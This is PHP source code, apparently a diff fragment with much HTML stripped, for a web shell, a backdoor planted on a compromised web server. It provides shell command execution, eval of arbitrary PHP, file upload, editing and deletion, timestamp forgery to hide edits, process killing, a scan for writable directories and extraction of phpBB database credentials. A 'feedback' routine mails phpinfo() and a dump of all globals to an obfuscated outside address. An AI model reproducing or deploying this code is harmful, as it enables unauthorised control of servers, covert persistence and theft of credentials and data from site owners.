    base64_decode:"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo ""; } + else { $rows++; echo ""; } + echo " [Send to input]"; +} +echo "
    Base convertations:dec2hex
    "; +} +if ($act == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "

    Buffer is empty!

    ";} + else { + $fx_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +if ($act == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; exshexit(); } + else { echo "
    Can't delete ".__FILE__."!
    "; } + } + else { + if (!empty($rndcode)) {echo "Error: incorrect confirmation!";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "
    \n". + "". + "". + "Kill-shell: ".__FILE__."
    ". + "Are you sure? For confirmation, enter \"".$rnd."\" \n". + "\n"; + } +} +if ($act == "update") { + $ret = exsh_getupdate(!!$confirmupdate); + echo "".$ret.""; + if (stristr($ret,"new version")) { + echo "

    "; + } +} +if ($act == "feedback") { + $suppmail = base64_decode("c2ltdWthczIxQGhvdG1haWwuY29t"); + if (!empty($submit)){ + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; + } + else { + echo "
    ". + "". + "". + "". + "". + "". + "
    ". + ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.
    Your name:". + "
    Your e-mail:
    Message:
    ". + " Attach Server info (Recommended for bug-fix)
    ". + "*Language: English, Indonesian.
    \n"; + } +} +if ($act == "fxmailer") { + if (!empty($submit)){ + $headers = 'To: '.$dest_email."\r\n"; + $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; + if (mail($suppmail,$sender_subj,$sender_body,$header)) { + echo "
    Email sent!
    "; + } + else { echo "
    Can't send email!
    "; } + } + else { + echo "
    ". + "". + "". + "". + "". + "". + "". + "
    ". + ".: $sh_name Mailer :.
    Your name:". + "
    Your e-mail:
    To:
    Subject:
    Message:
    ". + "
    \n"; + } +} +if ($act == "search") { + echo "
    .: $sh_name File-System Search :.
    "; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {exfsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "". + "". + "". + "". + "". + "". + "
    ". + "". + "File or folder Name:
      - Regular Expression
    Look in (Separate by \";\"):
    A word or phrase in the file:
    Regular Expression". + " Whole words only". + " Case sensitive". + " Find files NOT containing the text
    \n"; + if ($act == "ls") { + $dspact = $act; + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
    ". + "
    "; + } +} +if ($act == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) { + $perms = parse_perms($mode); + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; + } + } +} +if ($act == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    "; + } + else { $uploadmess .= "File uploaded successfully!
    ".$uploadpath.$destin; } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "".$uploadmess.""; + $act = "ls"; + } + else { + echo "". + "". + "". + "". + "". + "". + "". + "
    ". + ".: File Upload :.".$uploadmess."
    ". + "From Your Computer:
    From URL:
    Target Directory:
    Target File Name:
    Convert file name to lowercase
    ". + "
    "; + } +} +if ($act == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."
    "; } + } + if (!empty($delerr)) { echo "Error deleting:
    ".$delerr; } + $act = "ls"; +} +if (!$usefsbuff) { + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) { + echo "
    Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.
    "; + } +} +else { + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ex_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ex_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ex_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ex_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + ex_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = exexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + ex_sess_put($sess_data); + if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + ex_sess_put($sess_data); + if (!empty($psterr)) {echo "Error pasting:
    ".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "
    .: Results of Execution :.
    \n"; + $olddir = realpath("."); + @chdir($d); + $ret = exexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\n",$ret))+1; + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + $cols = 130; + echo "\n"; + //echo "
    ".htmlspecialchars($ret)."
    "; + } + else { echo $ret."
    "; } + @chdir($olddir); + } +} +if ($act == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} + else { + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "Name"; + $row[] = "Size"; + $row[] = "Date Modified"; + if (!$win) {$row[] = "Owner/Group";} + $row[] = "Perms"; + $row[] = "Action"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " "; + $y .= "\"".($parsesort[1]"; + $row[$k] .= $y; + for($i=0;$i".$row[$i]."";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; exshexit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = " ".$o.""; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = " ".$o.""; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = " [".$disppath."]"; + } + else { + $type = "DIR"; + $row[] = " [".$disppath."]"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = " ".$disppath.""; + $row[] = view_size($a[1]); + } + $row[] = @date("d.m.Y H:i:s",$a[2]); + if (!$win) { $row[] = $a[3]; } + $row[] = "".view_perms_color($v).""; + if ($o == ".") {$checkbox = ""; $i--;} + else {$checkbox = "";} + if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} + else {$row[] = "\"Info\" \"Edit\" \"Download\" ".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "
    .: "; + if (!empty($fx_infohead)) { echo $fx_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.
    \n"; + echo "
    ". + ""; + foreach($table as $row) { + echo ""; + foreach($row as $v) {echo "";} + echo "\r\n"; + } + echo "
    ".$v."
    ". + "". + "
    ". + "  ". + ""; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "                  "; + } + echo " 
    "; + echo "
    "; + } +} +if ($act == "tools") { tools(); } +##[ PHP FILESYSTEM TRICKZ (By eX) ]## +if ($act == "phpfsys") { + echo "
    "; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "Success! $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "Success! $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "Perm for $arg1 changed to $arg2!\n"; } + } + elseif ($fsfunc=="read") { + $darg = $d.$arg1; + if ($hasil = @file_get_contents($darg)) { + echo "Filename: ".$darg."
    "; + echo "
    \n"; + } + else { echo "
    Couldn't open ".$darg."
    "; } + } + elseif ($fsfunc=="write") { + $darg = $d.$arg1; + if(@file_put_contents($darg,$arg2)) { + echo "Saved! ".$darg; + } + else { echo "
    Can't write to $darg!
    "; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
    Can't write to ".$d.$arg2."!
    "; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
    Can't write to ".$d.$arg2."!
    "; } + fclose($r); + } + else { echo "
    Can't download from $arg1!
    ";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "Already exists: ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "Access denied: ".htmlspecialchars($thedir); } + else { echo "Dir created: ".htmlspecialchars($thedir);} + } + else { echo "Can't create current dir: $thedir"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + if (is_dir($arg1)) { + echo "Writable directories (Max: $arg2) in: $arg1
    "; + echo "
    ";
    +      recurse_dir($arg1,$arg2);
    +      echo "
    "; + $total = $dir_count - 1; + echo "
    Founds: ".$total." of Max $arg2"; + } + else { + echo "
    Directory is not exist or permission denied!
    "; + } + } + else { + if (!$arg1) { echo "
    No operation! Please fill parameter [A]!
    \n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "Result of $fsfunc $arg1:
    "; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "
    ";
    +          foreach ($hasil as $v) { echo $v."\n"; }
    +          echo "
    "; + } + } + else { echo "
    $fsfunc $arg1 failed!
    \n"; } + } + } + echo "
    \n"; +} +if ($act == "processes") { + echo "
    .: Processes :.
    \n"; + if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = exexec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) { $processes_sort = $sort_default; } + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = ""; + } + else { + $y = ""; + } + $ret = htmlspecialchars($ret); + if (!$win) { //Not Windows + if ($pid) { + if (is_null($sig)) { $sig = 9; } + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; } + } + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i".$head[$i].""; + } + } + $head[$i] = ""; + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) { $line[0] = "".$line[0].""; } + $line[] = "KILL"; + $prcs[] = $line; + } + } + } + //For Windows - Fixed By eX + else { + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = ""; } + else { $y = ""; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i".trim($head[$i]).""; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "".$head[$k]."".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "\n"; + foreach($tab as $i=>$k) { + echo ""; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) { $v = view_size($v); } + echo ""; + } + echo "\n"; + } + echo "
    ".$v."
    "; + } +} +if ($act == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:
    "; + $tmp = @ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + @ob_clean(); + eval($eval); + $ret = @ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + @ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
    "; + } + else {echo $ret."
    ";} + } + else { + if ($eval_txt) { + echo "
    "; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "PHP-code Execution (Use without PHP Braces!)"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "


     Display in text-area 
    "; +} +if ($act == "f") { + echo "
    "; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} + else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("","info"), + array("","html"), + array("","txt"), + array("Code","code"), + array("Session","phpsess"), + array("","exe"), + array("SDB","sdb"), + array("","img"), + array("","ini"), + array("","download"), + array("","notepad"), + array("","edit") + ); + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " ".$t[0]."";} + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + else {echo " ".$t[0]."";} + echo " (+) |"; + } + echo "
    "; + if ($ft == "info") { + echo "Information:"; + if (!$win) { + echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
    "; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000
    "; + $a1 = ""; + $a2 = ""; + for ($i=0; $i";} + $a1 .= "
    "; + $a2 .= "
    "; + } + } + echo "". + "". + "". + "". + "
    ".$a0."".$a1."".$a2."

    "; + } + $encoded = ""; + if ($base64 == 1) { + echo "Base64 Encode
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "Base64 Encode + Chunk
    "; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "Base64 Encode + Chunk + Quotes
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "
    "; + } + if (!empty($encoded)) + { + echo "

    "; + } + echo "HEXDUMP: [Full] [Preview]
    Base64: +
    [Encode + [+chunk + [+chunk+quotes + [Decode +

    "; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {exshexit();} + } + elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} + elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} + elseif ($ft == "phpsess") { + echo "
    ";
    +   $v = explode("|",$r);
    +   echo $v[0]."
    "; + var_dump(unserialize($v[1])); + echo "
    "; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "Execute file:

    Display in text-area
    "; + } + elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "phpBB configuration is detected in this file!
    "; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "Connect to DB

    ";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:
    "; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} + echo "

    "; + } + } + echo "
    "; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {exshexit();} + echo "
    "; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "
    Size: "; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo ""; + if ($imgsize != $v ) {echo $v;} + else {echo "".$v."";} + echo "   "; + } + echo "

    "; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "Can't write to file!";} + else + { + echo "Saved!"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "
      
    "; + } + elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} + else {echo "
    Unknown file type (".$ext."), please select type manually.
    ";} +} +echo "
